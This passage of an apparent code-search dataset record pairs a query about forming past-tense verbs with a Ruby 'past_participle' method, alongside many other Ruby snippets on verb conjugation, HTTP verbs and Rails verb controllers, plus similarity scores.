[:schedule]).upcase : '' )\n v\n end", "def expand(infinitive)\n return nil unless (conjugations = list_by_infinitive[infinitive])\n txt = []\n past_tenses, past_participles = conjugations\n txt << \"#{infinitive} (v)\"\n txt << past_tenses.map { |v| \"#{v} (v past)\"}\n txt << past_participles.map { |v| \"#{v} (v participle)\"}\n txt.flatten.join(\"\\n\") + \"\\n\"\n end", "def message\n verb\n end", "def noun; end", "def noun; end", "def verb(n=-1)\n\t verb = \"verb\"\n\t verb.concat(\" #{n}\") if n >= 0\t \n\t @sock.cmd(\"String\" => verb , \"Match\" => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/)\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def set_verb\n @verb = Verb.find(params[:id])\n end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def is_verb(token)\n _is_in(token, @verb_tags)\n end", "def irregular(infinitive, preterite = nil, past_participle = nil, &blk)\n if block_given?\n # create new Verb object with infinitive and &blk\n irregular = ::Verbs::Verb.new infinitive, &blk\n else\n unless preterite && past_participle\n raise ArgumentError,\n 'Standard irregular verbs must specify preterite and past participle forms'\n end\n\n # create new Verb object with infinitive, preterite and past_participle\n irregular = ::Verbs::Verb.new infinitive, preterite: preterite, past_participle: past_participle\n end\n @irregulars[infinitive] = irregular\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def create\n @irregular_verb = IrregularVerb.new(params[:irregular_verb])\n\n respond_to do |format|\n if @irregular_verb.save\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully created.' }\n format.json { render json: @irregular_verb, status: :created, location: @irregular_verb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def verb\n raise NotImplementedError.new('Must override')\n end", "def verb(route)\n route.verb.source.gsub(/[$^]/, '')\n end", "def new\n @irregular_verb = IrregularVerb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_verbs\n @verbs ||= self.verbs\n end", "def has_verb?(verb)\n @verbs.any? { |v| v.name == verb }\n end", "def create\n @verb = Verb.new(verb_params)\n\n if @verb.save\n render json: @verb, status: :created, location: @verb\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def http_with_tingyun( verb )\n self._ty_http_verb = verb.to_s.upcase\n http_without_tingyun( verb )\n end", "def mad_lib(plural_noun, verb)\n p \"#{plural_noun} are a great way to #{verb} around town.\"\nend", "def event_to_verb\n EVENT_TO_VERB[activity.event] || activity.event.upcase\n end", "def indefinite_possessive_pronoun\n return \"its\"\n end", "def path\n return \"\" unless verb_path\n verb_path[1]\n end", "def gift_verb(fulfillment)\n if fulfillment.quantity > 1\n \"were\"\n else\n \"was\"\n end\nend", "def passive_voice_subjunctive_mood_present_tense\n end", "def gerund_verb?\n tag == \"VBG\" && tokenized != \"being\"\n end", "def uppercase_http_verb(verb)\n str = verb.to_s.upcase\n str if http_verbs.include?(key_http_verb(verb))\n end", "def hidden?\r\n verb.to_s.start_with?('_')\r\n end", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def active_voice_indicative_mood_pastperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_PAST_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_pastperfect_tense] }\n end", "def show\n @irregular_verb = IrregularVerb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "def verb\n\t\tif link = self.links.find {|link| link.llabel =~ /^(O([DFNTX]?)|P|BI|K|LI|MV|Q)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: LL of %p is %s\" % [ link.lword, link, link.llabel ]\n\t\t\treturn link.lword.sub( /\\.v$/, '' )\n\t\telsif link = self.links.find {|link| link.rlabel =~ /^(SI|S|AF)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: RL of %p is %s\" % [ link.rword, link, link.rlabel ]\n\t\t\treturn link.rword.sub( /\\.v$/, '' )\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def plural_adjective( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_special_adjective(word, count) || word )\n\n\t\treturn pre + plural + post\n\tend", "def active_voice_subjunctive_mood_present_tense\n end", "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end", "def inflect(infinitive, inflection, person, plurality, mood)\n send(*[inflection, infinitive, person, plurality, mood][0, method(inflection).arity + 1])\n end", "def verb_path\n return nil if @binding.nil?\n\n {\n get: @binding.get,\n post: @binding.post,\n put: @binding.put,\n patch: @binding.patch,\n delete: @binding.delete\n }.find { |_, value| !value.empty? }\n end", "def indefinite_reflexive_pronoun\n return \"itself\"\n end", "def active_voice_subjunctive_mood_present_tense\n return @proxyVerb.send :active_voice_subjunctive_mood_present_tense\n end", "def proverb_params\n params.require(:proverb).permit(:english, :translation, :active)\n end", "def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end", "def define_verb(verb)\n @mod.define_singleton_method(verb.to_sym) do |*args, &block|\n class_eval \"Croesus.#{verb}\"\n end\n end", "def find(any_verb_form)\n end", "def dynamic_phrase_2\r\n # Verse 0: **no more bottles**\r\n if zero_bottles?\r\n \"no more #{bottle_s}\"\r\n else\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def active_voice_indicative_mood_futureperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_FUTURE_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_futureperfect_tense] }\n end", "def verb\n parent.operations.key self\n end", "def engtagger_lookup sentence\n nouns, verbs = tag_sentence(sentence)\n sentence.words.graph do |word|\n pos = case word\n when ->(w){ verbs.include? w }\n \"verb\"\n when ->(w){ nouns.include? w }\n \"noun\"\n else\n \"unknown\"\n end\n [word, [pos]]\n end\n end", "def verbs\n (@verb.downcase.presence || 'get').split('|')\n end", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def update\n @irregular_verb = IrregularVerb.find(params[:id])\n\n respond_to do |format|\n if @irregular_verb.update_attributes(params[:irregular_verb])\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def passive_voice_indicative_mood_future_tense\n end", "def handle(args)\n options = self.getDefaultOptions()\n subcommandHandlerFactory = SubcommandHandlerFactory.new\n\n # Rememmber that ARGV does not include the program name ($0) in Ruby.\n # This is like Java; unlike Python and C/C++/Go.\n loop do\n break if args.length == 0\n break unless args[0][0] == '-'\n option = args.shift\n\n if option == '-h'\n self.usage(0)\n elsif option == '--help'\n self.usage(0)\n elsif option == '-l' || option == '--list-verbs'\n SubcommandHandlerFactory.listVerbs()\n exit(0)\n\n elsif option == '-v' || option == '--verbose'\n options['verbose'] = true\n elsif option == '-q' || option == '--quiet'\n options['verbose'] = false\n elsif option == '-s' || option == '--show-urls'\n options['showURLs'] = true\n\n elsif option == '-a' || option == '--app-token-env-name'\n self.usage(1) unless args.length >= 1\n options['accessTokenEnvName'] = args.shift\n elsif option == '-b' || option == '--base-te-url'\n self.usage(1) unless args.length >= 1\n options['baseTEURL'] = args.shift\n\n else\n $stderr.puts \"#{$0}: unrecognized option #{option}\"\n exit 1\n end\n end\n\n if args.length < 1\n self.usage(1)\n end\n verbName = args.shift\n verbArgs = args\n\n # Endpoint setup common to all verbs\n ThreatExchange::TENet::setAppTokenFromEnvName(options['accessTokenEnvName'])\n baseTEURL = options['baseTEURL']\n unless baseTEURL.nil?\n ThreatExchange::TENet::setTEBaseURL(baseTEURL)\n end\n ThreatExchange::TENet::setAppTokenFromEnvName(options['accessTokenEnvName'])\n\n subcommandHandler = subcommandHandlerFactory.create(verbName)\n\n if subcommandHandler.nil?\n $stderr.puts \"#{$0}: unrecognized verb \\\"#{verbName}\\\"\"\n exit 1\n end\n\n subcommandHandler.handle(args, options)\n\n end", "def show\n render json: @verb\n end", "def show\n @verb_forms = @verb.forms\n @verb_forms_tab = Hash.new\n @tenses.each_with_index do |tense, index|\n @verb_forms_tab[tense] = Hash.new\n @forms.each_with_index do |form, index2|\n temp = @verb_forms.where(:temp => index.to_i, :person => index2.to_i).first\n @verb_forms_tab[tense][form] = temp ? temp.content : ''\n end\n end\n\n end", "def to_json(*a)\n json_hash = {'json_class' => self.class.name}\n\n # In the case that we're working with a regular verb, the only thing\n # we need to save is the original string, since everything can be\n # re-derived from it easily.\n unless self.irregular?\n # While this single string is sufficient to freeze and revivifty\n # the verb, it means that the JSON structure is rather vacuous.\n # Given this, the hash is enriched so that the JSON data is\n # useful. Nevertheless, in the revivification process, only\n # 'orig_string' is used.\n %w{original_string classification stem}.each do |k|\n json_hash[k] = self.send k.to_sym\n end\n json_hash['tense_list' ] = {}\n @tense_list.each do |t|\n json_hash['tense_list'][t.to_s] = self.send t.to_sym\n end\n json_hash['irregular'] = irregular?\n return json_hash.to_json(*a)\n end\n end", "def structure(adjective, noun, verb, style)\n self.value = \"A #{adjective.value} #{noun.value}, #{verb.value} in the style of #{style.value}\"\n end", "def dynamic_phrase_4\r\n\r\n # Verse 1: **no more bottles**\r\n if one_bottle?\r\n \"no more bottles\"\r\n # Verse 0: **99 bottles**\r\n elsif zero_bottles?\r\n \"99 #{bottle_s}\"\r\n else\r\n # Verse 2: **bottle**\r\n # Verse x: **x bottles**\r\n @bottle_quantity -= 1\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend", "def dynamic_phrase_1\r\n\r\n # Verse 1: **1 bottle**\r\n # Verse 0: **No more bottles**\r\n if zero_bottles?\r\n \"No more bottles\"\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n else\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def passive_voice_indicative_mood_present_tense\n end", "def active_voice_indicative_mood_perfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [first_person_perfect.to_s, Linguistics::Latin::Verb::LatinVerb::APERF_ENDINGS.collect{|x| substem+x.to_s}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_perfect_tense] }\n end", "def verb\n \"like\"\n end", "def indefinite_personal_subjective_pronoun\n return \"it\"\n end" ]
[ "0.7174836", "0.7174836", "0.7174836", "0.7174836", "0.7174836", "0.6995533", "0.6908299", "0.6889775", "0.6684288", "0.6683907", "0.661355", "0.6508708", "0.6472799", "0.6351976", "0.6307786", "0.62969774", "0.62462217", "0.62344456", "0.6218455", "0.6184186", "0.6149367", "0.6060417", "0.6060361", "0.6003834", "0.5995311", "0.5971896", "0.5936482", "0.5930669", "0.592785", "0.5926616", "0.5885192", "0.58736163", "0.58555347", "0.58196163", "0.58196163", "0.5818642", "0.58085835", "0.5807121", "0.57886195", "0.5749852", "0.57247734", "0.56972647", "0.5687984", "0.56861544", "0.56852955", "0.5663934", "0.56568384", "0.5630217", "0.5603734", "0.55991375", "0.5582352", "0.5563785", "0.55580413", "0.55518776", "0.55360067", "0.5497084", "0.54739267", "0.546809", "0.54394", "0.5433423", "0.5428188", "0.54216605", "0.54013705", "0.53714013", "0.53616005", "0.5349959", "0.53174895", "0.5303717", "0.5300306", "0.5278412", "0.5277448", "0.5261298", "0.5255687", "0.5253994", "0.52340776", "0.5215842", "0.5200608", "0.5195649", "0.5175594", "0.5172064", "0.5154658", "0.5143129", "0.5133703", "0.51077", "0.5071277", "0.5049972", "0.5047314", "0.5043121", "0.50419956", "0.5038045", "0.5032948", "0.5031843", "0.50299126", "0.50093174", "0.4994606", "0.49746737", "0.4954087", "0.49531606", "0.49523845", "0.49337503" ]
0.5668623
45
Forming verb to apply past tense endings Params: infinitive, the given verb
def past_participle(infinitive) if (verb = conjugations.irregulars[infinitive]) conjugate_irregular(verb, tense: :past, derivative: :participle) else regular_preterite_for infinitive end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def regular_ending(verb)\n verb[-2..-1]\n end", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def ingverb; end", "def verb\n verb_path[0] if verb_path\n end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def verb\r\n self.class.verb\r\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def verb?\n !verb.nil?\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def verb(route)\n route.verb.source.gsub(/[$^]/, '')\n end", "def verb(n=-1)\n\t verb = \"verb\"\n\t verb.concat(\" #{n}\") if n >= 0\t \n\t @sock.cmd(\"String\" => verb , \"Match\" => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/)\n end", "def get_verb_description()\n v = (self.must_insert? ? I18n.t(:must_insert, :scope => [:schedule]).upcase : '')\n v = v + \"/ \" if (v != \"\") and self.must_move?\n v = v + ( (self.must_move?) ? I18n.t(:must_move, :scope => [:schedule]).upcase : '' )\n v = v + \"/ \" if (v != \"\") and self.must_call? and (self.must_move? or self.must_insert?)\n v = v + ( (self.must_call?) ? I18n.t(:must_call, :scope => [:schedule]).upcase : '' )\n v\n end", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def verbs\n pos 'VERB'\n end", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def noun; end", "def noun; end", "def irregular(infinitive, preterite = nil, past_participle = nil, &blk)\n if block_given?\n # create new Verb object with infinitive and &blk\n irregular = ::Verbs::Verb.new infinitive, &blk\n else\n unless preterite && past_participle\n raise ArgumentError,\n 'Standard irregular verbs must specify preterite and past participle forms'\n end\n\n # create new Verb object with infinitive, preterite and past_participle\n irregular = ::Verbs::Verb.new infinitive, preterite: preterite, past_participle: past_participle\n end\n @irregulars[infinitive] = irregular\n end", "def expand(infinitive)\n return nil unless (conjugations = list_by_infinitive[infinitive])\n txt = []\n past_tenses, past_participles = conjugations\n txt << \"#{infinitive} (v)\"\n txt << past_tenses.map { |v| \"#{v} (v past)\"}\n txt << past_participles.map { |v| \"#{v} (v participle)\"}\n txt.flatten.join(\"\\n\") + \"\\n\"\n end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def http_with_tingyun( verb )\n self._ty_http_verb = verb.to_s.upcase\n http_without_tingyun( verb )\n end", "def event_to_verb\n EVENT_TO_VERB[activity.event] || activity.event.upcase\n end", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize 